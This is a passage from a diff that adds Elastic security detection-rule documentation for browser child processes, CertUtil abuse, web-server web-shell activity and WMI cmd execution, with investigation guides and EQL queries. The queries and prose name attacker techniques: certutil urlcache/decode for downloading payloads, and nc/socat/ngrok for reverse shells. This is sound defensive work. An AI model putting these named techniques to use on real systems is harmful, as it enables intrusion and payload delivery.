({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x43.html +* https://fr.slideshare.net/codeblue_jp/cb19-recent-apt-attack-on-crypto-exchange-employees-by-heungsoo-kang + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Browser Child Process* + + +Web browsers are integral to user interaction with the internet, often serving as gateways for adversaries to exploit vulnerabilities. Attackers may execute malicious scripts or commands by spawning child processes from browsers, leveraging scripting languages or command-line tools. The detection rule identifies unusual child processes initiated by browsers on macOS, filtering out known benign activities to highlight potential threats, thus aiding in early threat detection and response. + + +*Possible investigation steps* + + +- Review the process command line to understand the context of the execution and identify any potentially malicious scripts or commands. +- Check the parent process name to confirm it is one of the specified browsers (e.g., Google Chrome, Safari) and verify if the browser was expected to be running at the time of the alert. +- Investigate the user account associated with the process to determine if the activity aligns with their typical behavior or if the account may have been compromised. +- Examine the network activity around the time of the alert to identify any suspicious connections or data transfers that may indicate further malicious activity. +- Look for any related alerts or logs that might provide additional context or evidence of a broader attack or compromise. +- Assess the risk and impact of the detected activity by considering the severity and risk score provided, and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they use shell scripts or command-line tools. Users can create exceptions for known update paths, such as those related to Microsoft AutoUpdate or Google Chrome installations, to prevent these from being flagged. +- Development or testing activities involving scripting languages like Python or shell scripts may be mistakenly identified as threats. Users should consider excluding specific development directories or command patterns that are frequently used in their workflows. +- Automated scripts or tools that interact with web browsers for legitimate purposes, such as web scraping or data collection, might be detected. Users can whitelist these processes by specifying their command-line arguments or paths to avoid false positives. +- System administration tasks that involve remote management or configuration changes via command-line tools could be misinterpreted as suspicious. Users should identify and exclude these routine administrative commands to reduce unnecessary alerts. +- Browser extensions or plugins that execute scripts for enhanced functionality might trigger the rule. Users should review and whitelist trusted extensions that are known to execute benign scripts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent further malicious activity or lateral movement by the adversary. +- Terminate the suspicious child process identified in the alert to halt any ongoing malicious execution. +- Conduct a thorough review of the browser's recent activity and history to identify any potentially malicious websites or downloads that may have triggered the alert. +- Remove any malicious files or scripts that were executed by the suspicious child process to prevent further exploitation. +- Apply the latest security patches and updates to the affected browser and macOS system to mitigate known vulnerabilities that could be exploited. +- Monitor the system for any signs of persistence mechanisms or additional suspicious activity, ensuring that no backdoors or unauthorized access points remain. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected, ensuring a coordinated response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.parent.name like~ ("Google Chrome", "Google Chrome Helper*", "firefox", "Opera", "Safari", "com.apple.WebKit.WebContent", "Microsoft Edge") and + ((process.name like~ ("sh", "bash", "dash", "ksh", "tcsh", "zsh") and process.command_line : ("*curl*", "*nscurl*", "*wget*", "*whoami*", "*pwd*")) or + process.name like~ ("curl", "wget", "python*", "perl*", "php*", "osascript", "pwsh")) and + process.command_line != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Drive-by Compromise +** ID: T1189 +** Reference URL: https://attack.mitre.org/techniques/T1189/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-certutil-commands.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-certutil-commands.asciidoc new file mode 100644 index 0000000000..ffd0417d7c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-certutil-commands.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-suspicious-certutil-commands]] +=== Suspicious CertUtil Commands + +Identifies suspicious commands being used with certutil.exe. CertUtil is a native Windows component which is part of Certificate Services. CertUtil is often abused by attackers to live off the land for stealthier command and control or data exfiltration. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/Moriarty_Meng/status/984380793383370752 +* https://twitter.com/egre55/status/1087685529016193025 +* https://www.sysadmins.lv/blog-en/certutil-tips-and-tricks-working-with-x509-file-format.aspx +* https://docs.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil +* https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 316 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious CertUtil Commands* + + +`certutil.exe` is a command line utility program that is included with Microsoft Windows operating systems. It is used to manage and manipulate digital certificates and certificate services on computers running Windows. + +Attackers can abuse `certutil.exe` utility to download and/or deobfuscate malware, offensive security tools, and certificates from external sources to take the next steps in a compromised environment. This rule identifies command line arguments used to accomplish these behaviors. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the command line to determine the nature of the execution. + - If files were downloaded, retrieve them and check whether they were run, and under which security context. + - If files were obfuscated or deobfuscated, retrieve them. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the involved files using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "certutil.exe" or ?process.pe.original_file_name == "CertUtil.exe") and + process.args : ("?decode", "?encode", "?urlcache", "?verifyctl", "?encodehex", "?decodehex", "?exportPFX") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-child-execution-via-web-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-child-execution-via-web-server.asciidoc new file mode 100644 index 0000000000..0cbbaf13e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-child-execution-via-web-server.asciidoc @@ -0,0 +1,223 @@ +[[prebuilt-rule-8-19-20-suspicious-child-execution-via-web-server]] +=== Suspicious Child Execution via Web Server + +Identifies suspicious child processes executed via a web server, which may suggest a vulnerability and remote shell access. Attackers may exploit a vulnerability in a web application to execute commands via a web server, or place a backdoor file that can be abused to gain code execution as a mechanism for persistence. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pentestlab.blog/tag/web-shell/ +* https://www.elastic.co/security-labs/elastic-response-to-the-the-spring4shell-vulnerability-cve-2022-22965 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Use Case: Vulnerability +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Child Execution via Web Server* + + +Adversaries may backdoor web servers with web shells to establish persistent access to systems. A web shell is a malicious script, often embedded into a compromised web server, that grants an attacker remote access and control over the server. This enables the execution of arbitrary commands, data exfiltration, and further exploitation of the target network. + +This rule detects a web server process spawning script and command line interface programs, potentially indicating attackers executing commands using the web shell. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate abnormal behaviors by the subject process such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential reverse shells or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Investigate the process information for malicious or uncommon processes/process trees. + - !{osquery{"label":"Osquery - Retrieve Process Info","query":"SELECT name, cmdline, parent, path, uid FROM processes"}} + - Investigate the process tree spawned from the user that is used to run the web application service. A user that is running a web application should not spawn other child processes. + - !{osquery{"label":"Osquery - Retrieve Process Info for Webapp User","query":"SELECT name, cmdline, parent, path, uid FROM processes WHERE uid = {{process.user.id}}"}} +- Examine the command line to determine which commands or scripts were executed. +- Investigate other alerts associated with the user/host during the past 48 hours. +- If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and process.parent.executable != null and ( + process.parent.name like ( + "apache", "nginx", "apache2", "httpd", "lighttpd", "caddy", "php-fpm*", "mongrel_rails", "haproxy", + "gunicorn", "uwsgi", "openresty", "cherokee", "h2o", "resin", "puma", "unicorn", "traefik", "uvicorn", + "tornado", "hypercorn", "daphne", "twistd", "yaws", "webfsd", "httpd.worker", "flask", "rails", "mongrel", + "php-cgi", "php-fcgi", "php-cgi.cagefs", "catalina.sh", "hiawatha", "lswsctrl" + ) or + user.name in ("apache", "www-data", "httpd", "nginx", "lighttpd", "tomcat", "tomcat8", "tomcat9") or + user.id in ("33", "498", "48") or + (process.name == "java" and ?process.working_directory like "/u0?/*") +) and ( + process.executable like ( + "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*", + "/proc/*", "/var/mail/*", "/var/www/*", "/home/*", "/root/*" + ) or + process.name like~ ( + // Hidden processes + ".*", + // Suspicious file formats + "*.elf", "*.sh", "*.py", "*.rb", "*.pl", "*.lua*", "*.php*", ".js", + // Scheduled tasks + "systemd", "cron", "crond", + // Network utilities often used for reverse shells + "nc", "netcat", "ncat", "telnet", "socat", "openssl", "nc.openbsd", "ngrok", "nc.traditional", + // Cloud CLI + "az", "gcloud", "aws", + // Misc. tools + "whoami", "ifconfig", "ip", "ss", "top", "htop", "df", "du", "lsblk", "lsof", "tcpdump", + "strace", "ltrace", "curl", "wget", "dig", "nslookup", "host", "nmap", "arp", "traceroute" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-cmd-execution-via-wmi.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-cmd-execution-via-wmi.asciidoc new file mode 100644 index 0000000000..b26aa24938 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-cmd-execution-via-wmi.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-20-suspicious-cmd-execution-via-wmi]] +=== Suspicious Cmd Execution via WMI + +Identifies suspicious command execution (cmd) via Windows Management Instrumentation (WMI) on a remote host. This could be indicative of adversary lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper +* https://www.elastic.co/security-labs/operation-bleeding-bear + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 320 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Cmd Execution via WMI* + + +Windows Management Instrumentation (WMI) is a powerful framework for managing data and operations on Windows systems. Adversaries exploit WMI for lateral movement by executing commands remotely, often using cmd.exe. The detection rule identifies such activity by monitoring for cmd.exe processes initiated by WmiPrvSE.exe with specific arguments, indicating potential misuse for executing commands on remote hosts. + + +*Possible investigation steps* + + +- Review the process details to confirm the parent-child relationship between WmiPrvSE.exe and cmd.exe, ensuring that cmd.exe was indeed initiated by WmiPrvSE.exe. +- Examine the command-line arguments used by cmd.exe, specifically looking for the presence of "\\\\127.0.0.1\\*" and redirection operators like "2>&1" or "1>", to understand the nature of the command executed. +- Investigate the source and destination IP addresses involved in the WMI activity to determine if the remote host is legitimate or potentially compromised. +- Check for any related alerts or logs from the same host or user account around the same timeframe to identify any patterns or additional suspicious activities. +- Correlate the event with user activity logs to determine if the command execution aligns with expected user behavior or if it appears anomalous. +- Consult threat intelligence sources to see if the command or pattern matches known adversary techniques or campaigns. + + +*False positive analysis* + + +- Legitimate administrative tasks using WMI may trigger this rule. System administrators often use WMI for remote management, which can include executing scripts or commands. To handle this, identify and whitelist known administrative accounts or specific scripts that are regularly used for maintenance. +- Automated scripts or software that rely on WMI for legitimate operations might also cause false positives. Review and document these processes, then create exceptions for them in the detection rule to prevent unnecessary alerts. +- Security software or monitoring tools that utilize WMI for system checks can inadvertently match the rule's criteria. Verify these tools and exclude their specific processes or arguments from the rule to reduce noise. +- Scheduled tasks or system updates that use WMI for execution might be flagged. Regularly review scheduled tasks and update the rule to exclude these known benign activities. +- Internal network monitoring or testing tools that simulate attacks for security assessments may trigger alerts. Ensure these activities are logged and excluded from the rule to avoid confusion during security evaluations. + + +*Response and remediation* + + +- Isolate the affected host immediately to prevent further lateral movement and potential data exfiltration. Disconnect it from the network while maintaining power to preserve volatile data for forensic analysis. +- Terminate any suspicious cmd.exe processes initiated by WmiPrvSE.exe to halt any ongoing malicious activities. +- Conduct a thorough review of the affected system's WMI subscriptions and scripts to identify and remove any unauthorized or malicious entries. +- Reset credentials for any accounts that were used in the suspicious activity to prevent further unauthorized access. +- Apply security patches and updates to the affected system to address any vulnerabilities that may have been exploited. +- Enhance monitoring and logging for WMI activities across the network to detect similar threats in the future, ensuring that logs are retained for an adequate period for forensic purposes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems have been compromised. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "WmiPrvSE.exe" and process.name : "cmd.exe" and process.args : "/c" and process.args:"/Q" and + process.args : "2>&1" and process.args: "1>" and + process.args : ("C:\\windows\\temp\\*.txt", "\\Windows\\Temp\\*", "-encodehex", "\\\\127.0.0.1\\C$\\Windows\\Temp\\*", "\\\\127.0.0.1\\ADMIN$\\__*.*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Distributed Component Object Model +** ID: T1021.003 +** Reference URL: https://attack.mitre.org/techniques/T1021/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-command-prompt-network-connection.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-command-prompt-network-connection.asciidoc new file mode 100644 index 0000000000..21ca19ce81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-suspicious-command-prompt-network-connection.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-suspicious-command-prompt-network-connection]] +=== Suspicious Command Prompt Network Connection + +Identifies a network connection by the command prompt (cmd.exe) when it is executed with specific arguments, such as a script or a URL, or when it is spawned by Microsoft Office applications. Adversaries often abuse cmd.exe to download malicious payloads or establish command and control channels from a remote source. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Command Prompt Network Connection* + + +This alert identifies a Windows `cmd.exe` process start event that is quickly followed by a network connection from the same `cmd.exe` instance (`process.entity_id`). The command line indicates scripted execution (batch files), references to remote resources (URL-like strings), or execution launched by a Microsoft Office application. This pattern can be used to download payloads, stage execution, or establish command and control. + + +*Triage and analysis steps* + + +- Confirm the matched sequence and keep analysis tied to the correct process instance: + - Use the `Investigate in timeline` button in the Alerts table or pivot on `process.entity_id` to review both the process start event and the associated network event(s). + - Example KQL pivots: + - `process.entity_id:"" and event.category:process` + - `process.entity_id:"" and event.category:network` + +- Determine why `cmd.exe` matched and assess intent: + - Review `process.args` to confirm the interpreter switch (`/c` to execute and 